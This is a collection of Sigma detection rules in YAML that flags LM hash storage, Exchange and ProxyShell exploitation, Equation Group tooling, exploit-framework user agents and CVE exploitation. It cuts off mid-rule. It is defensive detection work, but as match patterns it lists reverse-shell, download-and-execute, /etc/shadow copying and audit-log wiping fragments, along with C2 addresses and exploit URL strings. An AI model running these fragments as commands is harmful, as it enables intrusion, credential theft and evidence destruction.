title: Enable LM Hash Storage
id: c420410f-c2d8-4010-856b-dffe21866437
related:
    - id: 98dedfdd-8333-49d4-9f23-d7018cccae53 # process_creation
      type: similar
status: test
description: |
    Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes.
    By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.
references:
    - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
    - https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/prevent-windows-store-lm-hash-password
    - https://www.sans.org/blog/protecting-privileged-domain-accounts-lm-hashes-the-good-the-bad-and-the-ugly/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-12-15
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    product: windows
    category: registry_set
detection:
    selection:
        TargetObject|endswith: 'System\CurrentControlSet\Control\Lsa\NoLMHash'
        Details: 'DWORD (0x00000000)'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Enable LM Hash Storage - ProcCreation
id: 98dedfdd-8333-49d4-9f23-d7018cccae53
related:
    - id: c420410f-c2d8-4010-856b-dffe21866437 # Registry
      type: similar
status: test
description: |
    Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes.
    By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.
references:
    - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
    - https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/prevent-windows-store-lm-hash-password
    - https://www.sans.org/blog/protecting-privileged-domain-accounts-lm-hashes-the-good-the-bad-and-the-ugly/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-12-15
modified: 2023-12-22
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains|all:
            - '\System\CurrentControlSet\Control\Lsa'
            - 'NoLMHash'
            - ' 0'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Enabled User Right in AD to Control User Objects
id: 311b6ce2-7890-4383-a8c2-663a9f6b43cd
status: test
description: Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.
references:
    - https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
author: '@neu5ron'
date: 2017-07-30
modified: 2021-12-02
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1098
logsource:
    product: windows
    service: security
    definition: 'Requirements: Audit Policy : Policy Change > Audit Authorization Policy Change, Group Policy : Computer Configuration\Windows Settings\Security Settings\Advanced Audit Policy Configuration\Audit Policies\Policy Change\Audit Authorization Policy Change'
detection:
    selection_base:
        EventID: 4704
    selection_keywords:
        PrivilegeList|contains: 'SeEnableDelegationPrivilege'
    condition: all of selection*
falsepositives:
    - Unknown
level: high

title: Equation Group C2 Communication
id: 881834a4-6659-4773-821e-1c151789d873
status: test
description: Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools
references:
    - https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation
    - https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195
author: Florian Roth (Nextron Systems)
date: 2017-04-15
modified: 2021-11-27
tags:
    - attack.exfiltration
    - attack.command-and-control
    - attack.g0020
    - attack.t1041
    - detection.emerging-threats
logsource:
    category: firewall
detection:
    selection:
        - dst_ip:
              - '69.42.98.86'
              - '89.185.234.145'
        - src_ip:
              - '69.42.98.86'
              - '89.185.234.145'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Equation Group Indicators
id: 41e5c73d-9983-4b69-bd03-e13b67e9623c
status: test
description: Detects suspicious shell commands used in various Equation Group scripts and tools
references:
    - https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1
author: Florian Roth (Nextron Systems)
date: 2017-04-09
modified: 2021-11-27
tags:
    - attack.execution
    - attack.g0020
    - attack.t1059.004
logsource:
    product: linux
detection:
    keywords:
        # evolvingstrategy, elgingamble, estesfox
        - 'chown root*chmod 4777 '
        - 'cp /bin/sh .;chown'
        # tmpwatch
        - 'chmod 4777 /tmp/.scsi/dev/bin/gsh'
        - 'chown root:root /tmp/.scsi/dev/bin/'
        # estesfox
        - 'chown root:root x;'
        # ratload
        - '/bin/telnet locip locport < /dev/console | /bin/sh'
        - '/tmp/ratload'
        # ewok
        - 'ewok -t '
        # xspy
        - 'xspy -display '
        # elatedmonkey
        - 'cat > /dev/tcp/127.0.0.1/80 <<END'
        # ftshell
        - 'rm -f /current/tmp/ftshell.latest'
        # ghost
        - 'ghost_* -v '
        # morerats client
        - ' --wipe > /dev/null'
        # noclient
        - 'ping -c 2 *; grep * /proc/net/arp >/tmp/gx'
        - 'iptables * OUTPUT -p tcp -d 127.0.0.1 --tcp-flags RST RST -j DROP;'
        # auditcleaner
        - '> /var/log/audit/audit.log; rm -f .'
        - 'cp /var/log/audit/audit.log .tmp'
        # reverse shell
        - 'sh >/dev/tcp/* <&1 2>&1'
        # packrat
        - 'ncat -vv -l -p * <'
        - 'nc -vv -l -p * <'
        # empty bowl
        - '< /dev/console | uudecode && uncompress'
        - 'sendmail -osendmail;chmod +x sendmail'
        # echowrecker
        - '/usr/bin/wget -O /tmp/a http* && chmod 755 /tmp/cron'
        # dubmoat
        - 'chmod 666 /var/run/utmp~'
        # poptop
        - 'chmod 700 nscd crond'
        # abopscript
        - 'cp /etc/shadow /tmp/.'
        # ys
        - '</dev/console |uudecode > /dev/null 2>&1 && uncompress'
        # jacktelnet
        - 'chmod 700 jp&&netstat -an|grep'
        # others
        - 'uudecode > /dev/null 2>&1 && uncompress -f * && chmod 755'
        - 'chmod 700 crond'
        - 'wget http*; chmod +x /tmp/sendmail'
        - 'chmod 700 fp sendmail pt'
        - 'chmod 755 /usr/vmsys/bin/pipe'
        - 'chmod -R 755 /usr/vmsys'
        - 'chmod 755 $opbin/*tunnel'
        - 'chmod 700 sendmail'
        - 'chmod 0700 sendmail'
        - '/usr/bin/wget http*sendmail;chmod +x sendmail;'
        - '&& telnet * 2>&1 </dev/console'
    condition: keywords
falsepositives:
    - Unknown
level: high

title: Esentutl Volume Shadow Copy Service Keys
id: 5aad0995-46ab-41bd-a9ff-724f41114971
status: test
description: Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\System\\CurrentControlSet\\Services\\VSS\\Diag\\VolSnap\\Volume are captured.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-10-20
modified: 2022-12-25
tags:
    - attack.credential-access
    - attack.t1003.002
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        TargetObject|contains: 'System\CurrentControlSet\Services\VSS'
        Image|endswith: 'esentutl.exe' # limit esentutl as in references, too many FP to filter
    filter:
        TargetObject|contains: 'System\CurrentControlSet\Services\VSS\Start'
    condition: selection and not filter
falsepositives:
    - Unknown
level: high

title: Exchange Exploitation Used by HAFNIUM
id: 67bce556-312f-4c81-9162-c3c9ff2599b2
status: test
description: Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity
references:
    - https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
    - https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
author: Florian Roth (Nextron Systems)
date: 2021-03-03
modified: 2023-01-02
tags:
    - attack.initial-access
    - attack.t1190
    - attack.g0125
    - detection.emerging-threats
logsource:
    category: webserver
detection:
    selection_1:
        cs-method: 'POST'
        cs-uri-query|contains: '/owa/auth/Current/themes/resources/'
    selection_2:
        cs-method: 'POST'
        cs-uri-query|contains: '/owa/auth/Current/'
        cs-user-agent:
            - 'DuckDuckBot/1.0;+(+http://duckduckgo.com/duckduckbot.html)'
            - 'facebookexternalhit/1.1+(+http://www.facebook.com/externalhit_uatext.php)'
            - 'Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)'
            - 'Mozilla/5.0+(compatible;+Bingbot/2.0;++http://www.bing.com/bingbot.htm)'
            - 'Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html'
            - 'Mozilla/5.0+(compatible;+Konqueror/3.5;+Linux)+KHTML/3.5.5+(like+Gecko)+(Exabot-Thumbnails)'
            - 'Mozilla/5.0+(compatible;+Yahoo!+Slurp;+http://help.yahoo.com/help/us/ysearch/slurp)'
            - 'Mozilla/5.0+(compatible;+YandexBot/3.0;++http://yandex.com/bots)'
            - 'Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/51.0.2704.103+Safari/537.36'
    selection_3:
        cs-uri-query|contains: '/ecp/'
        cs-method: 'POST'
        cs-user-agent:
            - 'ExchangeServicesClient/0.0.0.0'
            - 'python-requests/2.19.1'
            - 'python-requests/2.25.1'
    selection_4:
        cs-uri-query|contains:
            - '/aspnet_client/'
            - '/owa/'
        cs-method: 'POST'
        cs-user-agent:
            - 'antSword/v2.1'
            - 'Googlebot/2.1+(+http://www.googlebot.com/bot.html)'
            - 'Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)'
    selection_5:
        cs-uri-query|contains:
            - '/owa/auth/Current/'
            - '/ecp/default.flt'
            - '/ecp/main.css'
        cs-method: 'POST'
    selection_6:
        cs-method: 'POST'
        cs-uri-query|contains|all:
            - '/ecp/'
            - '.js'
    condition: 1 of selection_*
falsepositives:
    - Legitimate access to other web applications that use the same folder names as Exchange (e.g. owa, ecp) but are not Microsoft Exchange related
level: high

title: Exchange PowerShell Cmdlet History Deleted
id: a55349d8-9588-4c5a-8e3b-1925fe2a4ffe
status: test
description: Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence
references:
    - https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-10-26
modified: 2022-12-30
tags:
    - attack.stealth
    - attack.t1070
logsource:
    category: file_delete
    product: windows
detection:
    selection:
        TargetFilename|startswith: '\Logging\CmdletInfra\LocalPowerShell\Cmdlet\'
        TargetFilename|contains: '_Cmdlet_'
    condition: selection
falsepositives:
    - Possible FP during log rotation
level: high

title: Exchange PowerShell Snap-Ins Usage
id: 25676e10-2121-446e-80a4-71ff8506af47
status: test
description: Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27
references:
    - https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
    - https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
    - https://www.intrinsec.com/apt27-analysis/
author: FPT.EagleEye, Nasreddine Bencherchali (Nextron Systems)
date: 2021-03-03
modified: 2023-03-24
tags:
    - attack.execution
    - attack.t1059.001
    - attack.collection
    - attack.t1114
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli:
        CommandLine|contains: 'Add-PSSnapin'
    selection_module:
        CommandLine|contains:
            - 'Microsoft.Exchange.Powershell.Snapin'
            - 'Microsoft.Exchange.Management.PowerShell.SnapIn'
    filter_msiexec:
        # ParentCommandLine: C:\Windows\System32\MsiExec.exe -Embedding C9138ECE2536CB4821EB5F55D300D88E E Global\MSI0000
        ParentImage: 'C:\Windows\System32\msiexec.exe'
        CommandLine|contains: '$exserver=Get-ExchangeServer ([Environment]::MachineName) -ErrorVariable exerr 2> $null'
    condition: all of selection_* and not 1 of filter_*
falsepositives:
    - Unknown
level: high

title: Exchange ProxyShell Pattern
id: 23eee45e-933b-49f9-ae1b-df706d2d52ef
status: test
description: Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful)
references:
    - https://youtu.be/5mqid-7zp8k?t=2231
    - https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
    - https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
author: Florian Roth (Nextron Systems), Rich Warren
date: 2021-08-07
modified: 2023-01-02
tags:
    - attack.initial-access
    - attack.t1190
    - detection.emerging-threats
logsource:
    category: webserver
detection:
    selection_1:
        sc-status: 401
    selection_1_auto:
        cs-uri-query|contains: '/autodiscover.json'
    selection_1_uri:
        cs-uri-query|contains:
            - '/powershell'
            - '/mapi/nspi'
            - '/EWS'
            - 'X-Rps-CAT'
    selection_poc:
        sc-status: 401
        cs-uri-query|contains:
            # since we don't know how it will appear in the log files, we'll just use all versions
            - 'autodiscover.json?@'
            - 'autodiscover.json%3f@'
            - '%[email protected]'
            - 'Email=autodiscover/autodiscover.json'
            - '[email protected]'
    condition: all of selection_1* or selection_poc
falsepositives:
    - Unknown
level: high

title: Exchange Set OabVirtualDirectory ExternalUrl Property
id: 9db37458-4df2-46a5-95ab-307e7f29e675
status: test
description: Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log
references:
    - https://twitter.com/OTR_Community/status/1371053369071132675
author: Jose Rodriguez @Cyb3rPandaH
date: 2021-03-15
modified: 2023-01-23
tags:
    - attack.persistence
    - attack.t1505.003
logsource:
    product: windows
    service: msexchange-management
detection:
    keywords:
        '|all':
            - 'Set-OabVirtualDirectory'
            - 'ExternalUrl'
            - 'Page_Load'
            - 'script'
    condition: keywords
falsepositives:
    - Unknown
level: high

title: Execute Pcwrun.EXE To Leverage Follina
id: 6004abd0-afa4-4557-ba90-49d172e0a299
status: test
description: Detects indirect command execution via Program Compatibility Assistant "pcwrun.exe" leveraging the follina (CVE-2022-30190) vulnerability
references:
    - https://twitter.com/nas_bench/status/1535663791362519040
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-13
tags:
    - attack.stealth
    - attack.t1218
    - attack.execution
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\pcwrun.exe'
        CommandLine|contains: '../'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: Execution DLL of Choice Using WAB.EXE
id: fc014922-5def-4da9-a0fc-28c973f41bfb
status: test
description: This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.
references:
    - https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml
    - https://twitter.com/Hexacorn/status/991447379864932352
    - http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/
author: oscd.community, Natalia Shornikova
date: 2020-10-13
modified: 2023-08-17
tags:
    - attack.stealth
    - attack.t1218
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|endswith: '\Software\Microsoft\WAB\DLLPath'
    filter:
        Details: '%CommonProgramFiles%\System\wab32.dll'
    condition: selection and not filter
falsepositives:
    - Unknown
level: high

title: Execution of Powershell Script in Public Folder
id: fb9d3ff7-7348-46ab-af8c-b55f5fbf39b4
status: test
description: This rule detects execution of PowerShell scripts located in the "C:\Users\Public" folder
references:
    - https://www.mandiant.com/resources/evolution-of-fin7
author: Max Altgelt (Nextron Systems)
date: 2022-04-06
modified: 2022-07-14
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
        CommandLine|contains:
            - '-f C:\Users\Public'
            - '-f "C:\Users\Public'
            - '-f %Public%'
            - '-fi C:\Users\Public'
            - '-fi "C:\Users\Public'
            - '-fi %Public%'
            - '-fil C:\Users\Public'
            - '-fil "C:\Users\Public'
            - '-fil %Public%'
            - '-file C:\Users\Public'
            - '-file "C:\Users\Public'
            - '-file %Public%'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: Execution via WorkFolders.exe
id: 0bbc6369-43e3-453d-9944-cae58821c173
status: test
description: Detects using WorkFolders.exe to execute an arbitrary control.exe
references:
    - https://twitter.com/elliotkillick/status/1449812843772227588
author: Maxime Thiebaut (@0xThiebaut)
date: 2021-10-21
modified: 2022-12-25
tags:
    - attack.stealth
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\control.exe'
        ParentImage|endswith: '\WorkFolders.exe'
    filter:
        Image: 'C:\Windows\System32\control.exe'
    condition: selection and not filter
falsepositives:
    - Legitimate usage of the uncommon Windows Work Folders feature.
level: high

title: Execution via stordiag.exe
id: 961e0abb-1b1e-4c84-a453-aafe56ad0d34
status: test
description: Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe
references:
    - https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html
    - https://twitter.com/eral4m/status/1451112385041911809
author: Austin Songer (@austinsonger)
date: 2021-10-21
modified: 2022-12-25
tags:
    - attack.stealth
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\stordiag.exe'
        Image|endswith:
            - '\schtasks.exe'
            - '\systeminfo.exe'
            - '\fltmc.exe'
    filter:
        ParentImage|startswith: # as first is "Copy c:\windows\system32\stordiag.exe to a folder"
            - 'c:\windows\system32\'
            - 'c:\windows\syswow64\'
    condition: selection and not filter
falsepositives:
    - Legitimate usage of stordiag.exe.
level: high

title: Exploit Framework User Agent
id: fdd1bfb5-f60b-4a35-910e-f36ed3d0b32f
status: test
description: Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs
references:
    - https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/
author: Florian Roth (Nextron Systems)
date: 2017-07-08
modified: 2025-01-18
tags:
    - attack.command-and-control
    - attack.t1071.001
logsource:
    category: proxy
detection:
    selection:
        c-useragent:
        # Cobalt Strike https://www.cobaltstrike.com/help-malleable-c2
            - 'Internet Explorer *'
            - 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)' # https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/

        # Metasploit Framework - Analysis by Didier Stevens https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/
            - 'Mozilla/4.0 (compatible; Metasploit RSPEC)'
            - 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
            - 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' # old browser, rare, base-lining needed
            - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' # old browser, rare, base-lining needed
            - 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)' # old browser, rare, base-lining needed
            - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}; SLCC1; .N'
            - 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' # only use in proxy logs - not for detection in web server logs
            - 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/525.13'
            - 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MAAU)' # Payloads

        # Metasploit Update by Florian Roth 08.07.2017
            - 'Mozilla/5.0'
            - 'Mozilla/4.0 (compatible; SPIPE/1.0'
        # - 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'  # too many false positives expected
        # - 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'  # too many false positives expected
            - 'Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/35.0'
            - 'Sametime Community Agent' # Unknown if prone to false positives - https://github.com/rapid7/metasploit-framework/blob/97095ab3113de2f046e64a64c461a1f888554401/modules/exploits/windows/http/steamcast_useragent.rb
            - 'X-FORWARDED-FOR'
            - 'DotDotPwn v2.1'
            - 'SIPDROID'
            - 'Mozilla/5.0 (Windows NT 10.0; Win32; x32; rv:60.0)' # CobaltStrike https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/

        # Empire
            - 'Mozilla/6.0 (X11; Linux x86_64; rv:24.0) Gecko/20140205     Firefox/27.0 Iceweasel/25.3.0'

        # Exploits
            - '*wordpress hash grabber*'
            - '*exploit*'

        # Havoc
            - 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'  # https://github.com/HavocFramework/Havoc/issues/519
    condition: selection
falsepositives:
    - Unknown
level: high

title: Exploitation Activity of CVE-2025-59287 - WSUS Deserialization
id: e5f66e87-7d6b-404f-92fe-7aa67814b5cd
status: experimental
description: |
    Detects cast exceptions in Windows Server Update Services (WSUS) application logs that highly indicate exploitation attempts of CVE-2025-59287, a deserialization vulnerability in WSUS.
references:
    - https://unit42.paloaltonetworks.com/cve-2025-59287/
    - https://hawktrace.com/blog/CVE-2025-59287-UNAUTH
    - https://github.com/0xBruno/WSUSploit.NET/tree/e239bce9d6b5f46a346e1e4c4d5e0a2a20d5c639
    - https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-10-31
tags:
    - attack.execution
    - attack.initial-access
    - attack.t1190
    - attack.t1203
    - cve.2025-59287
    - detection.emerging-threats
logsource:
    product: windows
    service: application
detection:
    selection:
        Provider_Name: 'Windows Server Update Services'
        EventID: 7053
        Data|contains|all:
           # Indicators of untrusted deserialization exploitation attempts
           # https://github.com/pwntester/ysoserial.net/issues/114
            - 'System.InvalidCastException'
            - 'System.Windows.Data.ObjectDataProvider'
            - 'Unable to cast object of type'
            - 'System.Windows.Media.Brush'
    condition: selection
falsepositives:
    - Legitimate WSUS operations that may trigger similar error messages
level: high

title: Exploitation Activity of CVE-2025-59287 - WSUS Suspicious Child Process
id: 43259cc4-1b80-4931-bd98-baea01afc196
status: experimental
description: |
    Detects the creation of command-line interpreters (cmd.exe, powershell.exe) as child processes of Windows Server Update Services (WSUS) related process wsusservice.exe.
    This behavior is a key indicator of exploitation for the critical remote code execution vulnerability such as CVE-2025-59287, where attackers spawn shells to conduct reconnaissance and further post-exploitation activities.
references:
    - https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/
    - https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability
    - https://hawktrace.com/blog/CVE-2025-59287-UNAUTH
author: Huntress Labs, Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-10-31
tags:
    - attack.execution
    - attack.initial-access
    - attack.t1190
    - attack.t1203
    - cve.2025-59287
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent_wsusservice:
        ParentImage|endswith: '\wsusservice.exe'
    selection_parent_w3wp_wsuspool:
        ParentImage|endswith: '\w3wp.exe'
        ParentCommandLine|contains: 'WsusPool'
    selection_child:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\powershell_ise.exe'
    condition: 1 of selection_parent_* and selection_child
falsepositives:
    - If this activity is expected, consider filtering based on specific command lines, user context (e.g., `nt authority\network service`), or parent process command lines to reduce noise.
level: high

title: Exploitation Attempt Of CVE-2020-1472 - Execution of ZeroLogon PoC
id: dcc6a01e-9471-44a0-a699-71ea96f8ed8b
status: test
description: Detects the execution of the commonly used ZeroLogon PoC executable.
references:
    - https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/
    - https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
author: '@Kostastsale, TheDFIRReport'
date: 2022-02-12
tags:
    - attack.execution
    - attack.lateral-movement
    - attack.t1210
    - cve.2020-1472
    - detection.emerging-threats
logsource:
    product: windows
    category: process_creation
detection:
    selection_main:
        ParentImage|endswith: '\cmd.exe'
        Image|endswith:
            - '\cool.exe'
            - '\zero.exe'
        CommandLine|contains|all:
            - 'Administrator'
            - '-c'
    selection_payloads_1:
        CommandLine|contains|all:
            - 'taskkill'
            - '/f'
            - '/im'
    selection_payloads_2:
        CommandLine|contains: 'powershell'
    condition: selection_main and 1 of selection_payloads_*
falsepositives:
    - Unknown
level: high

title: Exploitation Attempt Of CVE-2023-46214 Using Public POC Code
id: ba5268de-4dd4-4d5c-8a90-2b5e6dc1aff8
related:
    - id: 04017cd5-621e-4ec4-a762-1f042fe3d3e5
      type: derived
status: test
description: |
    Detects exploitation attempt of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing using known public proof of concept code
references:
    - https://github.com/nathan31337/Splunk-RCE-poc/
    - https://blog.hrncirik.net/cve-2023-46214-analysis
    - https://advisory.splunk.com/advisories/SVD-2023-1104
author: Lars B. P. Frydenskov(Trifork Security)
date: 2023-11-27
tags:
    - attack.lateral-movement
    - attack.t1210
    - cve.2023-46214
    - detection.emerging-threats
logsource:
    category: webserver
detection:
    selection_method_and_response:
        cs-method: POST
        sc-status:
            - 200
            - 302
    selection_uri_upload:
        cs-uri-stem|contains: '/splunkd/__upload/indexing/preview'
        cs-uri-query|contains|all:
            - 'NO_BINARY_CHECK=1'
            - 'input.path=shell.xsl'
    selection_uri_search:
        cs-uri-stem|contains|all:
            - '/api/search/jobs'
            - '/results'
        cs-uri-query|contains|all:
            - '/opt/splunk/var/run/splunk/dispatch/'
            - '/shell.xsl'
    condition: selection_method_and_response and 1 of selection_uri_*
falsepositives:
    - Unlikely
level: high

title: Exploitation Indicator Of CVE-2022-42475
id: 293ccb8c-bed8-4868-8296-bef30e303b7e
status: test
description: Detects exploitation indicators of CVE-2022-42475 a heap-based buffer overflow in sslvpnd.
references:
    - https://www.fortiguard.com/psirt/FG-IR-22-398
    - https://www.bleepingcomputer.com/news/security/fortinet-says-ssl-vpn-pre-auth-rce-bug-is-exploited-in-attacks/
    - https://www.deepwatch.com/labs/customer-advisory-fortios-ssl-vpn-vulnerability-cve-2022-42475-exploited-in-the-wild/
    - https://community.fortinet.com/t5/FortiGate/Technical-Tip-Critical-vulnerability-Protect-against-heap-based/ta-p/239420
author: Nasreddine Bencherchali (Nextron Systems), Nilaa Maharjan, Douglasrose75
date: 2024-02-08
tags:
    - attack.initial-access
    - cve.2022-42475
    - detection.emerging-threats
logsource:
    product: fortios
    service: sslvpnd
    definition: 'Requirements: file creation events or equivalent must be collected from the FortiOS SSL-VPN appliance in order for this detection to function correctly'
detection:
    keywords:
        - '/data/etc/wxd.conf'
        - '/data/lib/libgif.so'
        - '/data/lib/libips.bak'
        - '/data/lib/libiptcp.so'
        - '/data/lib/libipudp.so'
        - '/data/lib/libjepg.so'
        - '/var/.sslvpnconfigbk'
    condition: keywords
falsepositives:
    - Unknown
level: high

title: Exploitation Indicators Of CVE-2023-20198
id: 2ece8816-b7a0-4d9b-b0e8-ae7ad18bc02b
status: test
description: Detecting exploitation indicators of CVE-2023-20198 a privilege escalation vulnerability in Cisco IOS XE Software Web UI.
references:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
    - https://www.thestack.technology/security-experts-call-for-incident-response-exercises-after-mass-cisco-device-exploitation/
author: Lars B. P. Frydenskov (Trifork Security)
date: 2023-10-20
tags:
    - attack.privilege-escalation
    - attack.initial-access
    - detection.emerging-threats
logsource:
    product: cisco
    service: syslog
    definition: 'Requirements: Cisco IOS XE system logs needs to be configured and ingested'
detection:
    keyword_event:
        - '%WEBUI-6-INSTALL_OPERATION_INFO:'
        - '%SYS-5-CONFIG_P:'
        - '%SEC_LOGIN-5-WEBLOGIN_SUCCESS:'
    keyword_user:
        - 'cisco_tac_admin'
        - 'cisco_support'
        - 'cisco_sys_manager'
    condition: keyword_event and keyword_user
falsepositives:
    - Rare false positives might occur if there are valid users named "cisco_tac_admin" or "cisco_support", which are not created by default or CISCO representatives
level: high

title: Exploitation of CVE-2021-26814 in Wazuh
id: b9888738-29ed-4c54-96a4-f38c57b84bb3
status: test
description: Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814
references:
    - https://github.com/WickdDavid/CVE-2021-26814/blob/6a17355a10ec4db771d0f112cbe031e418d829d5/PoC.py
author: Florian Roth (Nextron Systems)
date: 2021-05-22
modified: 2023-01-02
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2021-21978
    - cve.2021-26814
    - detection.emerging-threats
logsource:
    category: webserver
detection:
    selection:
        cs-uri-query|contains: '/manager/files?path=etc/lists/../../../../..'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Exploited CVE-2020-10189 Zoho ManageEngine
id: 846b866e-2a57-46ee-8e16-85fa92759be7
status: test
description: Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189
references:
    - https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html
    - https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224
author: Florian Roth (Nextron Systems)
date: 2020-03-25
modified: 2023-01-21
tags:
    - attack.initial-access
    - attack.t1190
    - attack.execution
    - attack.t1059.001
    - attack.t1059.003
    - attack.s0190
    - cve.2020-10189
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
